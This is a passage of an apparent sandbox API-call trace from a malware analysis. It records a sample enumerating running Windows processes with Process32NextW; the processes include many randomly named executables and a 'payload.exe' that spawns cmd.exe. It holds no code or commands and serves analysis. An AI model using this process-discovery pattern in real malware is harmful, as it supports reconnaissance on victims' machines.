lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.400] lstrlenW (lpString="svchost.exe") returned 11 [0058.400] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0058.463] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0058.463] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0058.464] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0058.464] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.465] lstrlenW (lpString="svchost.exe") returned 11 [0058.465] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.466] lstrlenW (lpString="dwm.exe") returned 7 [0058.466] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.467] lstrlenW (lpString="svchost.exe") returned 11 [0058.467] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.468] lstrlenW (lpString="svchost.exe") returned 11 [0058.468] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.468] lstrlenW (lpString="svchost.exe") returned 11 [0058.468] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.469] lstrlenW (lpString="svchost.exe") returned 11 [0058.469] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.470] lstrlenW (lpString="svchost.exe") returned 11 [0058.470] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.471] lstrlenW (lpString="svchost.exe") returned 11 [0058.471] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.472] lstrlenW (lpString="svchost.exe") returned 11 [0058.472] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.472] lstrlenW (lpString="svchost.exe") returned 11 [0058.472] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.473] lstrlenW (lpString="svchost.exe") returned 11 [0058.473] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.474] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.474] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.475] lstrlenW (lpString="svchost.exe") returned 11 [0058.475] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.476] lstrlenW (lpString="svchost.exe") returned 11 [0058.476] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.476] lstrlenW (lpString="audiodg.exe") returned 11 [0058.476] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0058.477] lstrlenW (lpString="sihost.exe") returned 10 [0058.477] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.478] lstrlenW (lpString="svchost.exe") returned 11 [0058.478] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.478] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.478] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0058.480] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0058.480] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0058.480] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0058.480] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.481] lstrlenW (lpString="explorer.exe") returned 12 [0058.481] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0058.482] lstrlenW (lpString="Memory Compression") returned 18 [0058.482] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0058.482] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0058.482] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0058.483] lstrlenW (lpString="SearchUI.exe") returned 12 [0058.483] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0058.484] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0058.484] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.485] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.485] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.485] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.485] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0058.486] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0058.486] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0058.487] lstrlenW (lpString="msoia.exe") returned 9 [0058.487] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0058.487] lstrlenW (lpString="UsoClient.exe") returned 13 [0058.487] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0058.488] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0058.488] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0058.489] lstrlenW (lpString="msoia.exe") returned 9 [0058.489] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0058.490] lstrlenW (lpString="taskhostw.exe") returned 13 [0058.490] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0058.490] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0058.490] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0058.491] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0058.491] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0058.492] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0058.492] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaverfireplacesubdivision.exe")) returned 1 [0058.492] lstrlenW (lpString="screensaverfireplacesubdivision.exe") returned 35 [0058.492] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arcobviously.exe")) returned 1 [0058.493] lstrlenW (lpString="arcobviously.exe") returned 16 [0058.493] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="preston disciplines.exe")) returned 1 [0058.494] lstrlenW (lpString="preston disciplines.exe") returned 23 [0058.494] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss.exe")) returned 1 [0058.498] lstrlenW (lpString="boss.exe") returned 8 [0058.499] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsimember.exe")) returned 1 [0058.499] lstrlenW (lpString="organizingscsimember.exe") returned 24 [0058.499] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing.exe")) returned 1 [0058.583] lstrlenW (lpString="placing.exe") returned 11 [0058.583] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes.exe")) returned 1 [0058.584] lstrlenW (lpString="heroes.exe") returned 10 [0058.584] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understoodaffectingbuddy.exe")) returned 1 [0058.585] lstrlenW (lpString="understoodaffectingbuddy.exe") returned 28 [0058.585] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement moments.exe")) returned 1 [0058.586] lstrlenW (lpString="requirement moments.exe") returned 23 [0058.586] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sugar.exe")) returned 1 [0058.586] lstrlenW (lpString="sugar.exe") returned 9 [0058.586] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademexicanvolkswagen.exe")) returned 1 [0058.587] lstrlenW (lpString="blademexicanvolkswagen.exe") returned 26 [0058.587] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charity aging tracked.exe")) returned 1 [0058.588] lstrlenW (lpString="charity aging tracked.exe") returned 25 [0058.588] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="genealogy.exe")) returned 1 [0058.589] lstrlenW (lpString="genealogy.exe") returned 13 [0058.589] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers_indication_wage.exe")) returned 1 [0058.590] lstrlenW (lpString="movers_indication_wage.exe") returned 26 [0058.590] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine-keyboard.exe")) returned 1 [0058.591] lstrlenW (lpString="determine-keyboard.exe") returned 22 [0058.591] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure.exe")) returned 1 [0058.592] lstrlenW (lpString="expenditure.exe") returned 15 [0058.592] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="patents-compiler-transportation.exe")) returned 1 [0058.593] lstrlenW (lpString="patents-compiler-transportation.exe") returned 35 [0058.593] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0058.594] lstrlenW (lpString="upgrading.exe") returned 13 [0058.594] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative.exe")) returned 1 [0058.594] lstrlenW (lpString="conservative.exe") returned 16 [0058.594] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="enrollment wrist tired.exe")) returned 1 [0058.595] lstrlenW (lpString="enrollment wrist tired.exe") returned 26 [0058.595] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="partybloodpopularity.exe")) returned 1 [0058.596] lstrlenW (lpString="partybloodpopularity.exe") returned 24 [0058.596] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="labor-perhaps-sentences.exe")) returned 1 [0058.597] lstrlenW (lpString="labor-perhaps-sentences.exe") returned 27 [0058.597] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gods violations duke.exe")) returned 1 [0058.598] lstrlenW (lpString="gods violations duke.exe") returned 24 [0058.598] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0058.598] lstrlenW (lpString="dllhost.exe") returned 11 [0058.598] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.599] lstrlenW (lpString="conhost.exe") returned 11 [0058.599] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfcc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.600] lstrlenW (lpString="conhost.exe") returned 11 [0058.600] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0058.601] lstrlenW (lpString="payload.exe") returned 11 [0058.601] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.601] lstrlenW (lpString="cmd.exe") returned 7 [0058.601] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.602] lstrlenW (lpString="conhost.exe") returned 11 [0058.602] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0058.603] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0058.603] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf08, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.603] lstrlenW (lpString="conhost.exe") returned 11 [0058.603] Process32NextW (in: hSnapshot=0x318, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.604] lstrlenW (lpString="svchost.exe") returned 11 